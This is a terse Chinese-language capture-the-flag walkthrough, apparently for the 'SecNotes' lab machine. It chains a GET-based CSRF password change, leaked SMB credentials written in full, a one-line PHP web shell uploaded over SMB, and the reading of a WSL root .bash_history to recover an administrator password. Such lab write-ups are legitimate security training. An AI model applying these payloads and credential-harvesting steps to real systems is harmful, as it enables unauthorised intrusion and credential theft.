XSRF & SMB Webshell

1.创建用户

http://10.10.10.97/register.php

2.登录

3.联系页面

http://10.10.16.24/test

联系页面提交URL后靶机会自动访问该链接

4.修改密码

修改密码页面可以通过GET请求进行修改密码，并且不需要提供原始密码

5.在反馈联系页面发送链接，让tyler@secnotes.htb靶机访问触发XSRF漏洞

http://10.10.10.97/change_pass.php?password=test123&confirm_password=test123&submit=submit

存在SMB凭证,通过SMB上传webshell

\\secnotes.htb\new-site tyler / 92g!mA8BGjOirkL%OG*&

$ smbmap -H 10.10.10.97 -u tyler -p '92g!mA8BGjOirkL%OG*&'

$ smbclient -U 'tyler%92g!mA8BGjOirkL%OG*&' //10.10.10.97/new-site

$ echo '<?php system($_GET[1]); ?>'>/tmp/shell.php

smb: \> put /tmp/shell.php shell.php

$ curl 'http://10.10.10.97:8808/shell.php?1=whoami'

权限提升

PS C:\inetpub\new-site> \windows\system32\bash.exe

PS C:\inetpub\new-site> Get-ChildItem -Recurse -Path C:\ -Filter "bash.exe"

PS C:\inetpub\new-site> cd C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\root

PS C:\Users\tyler\AppData\Local\Packages\CanonicalGroupLimited.Ubuntu18.04onWindows_79rhkp1fndgsc\LocalState\rootfs\root> type .bash_history

从Linux子系统中的.bash_history中获取到管理员密码
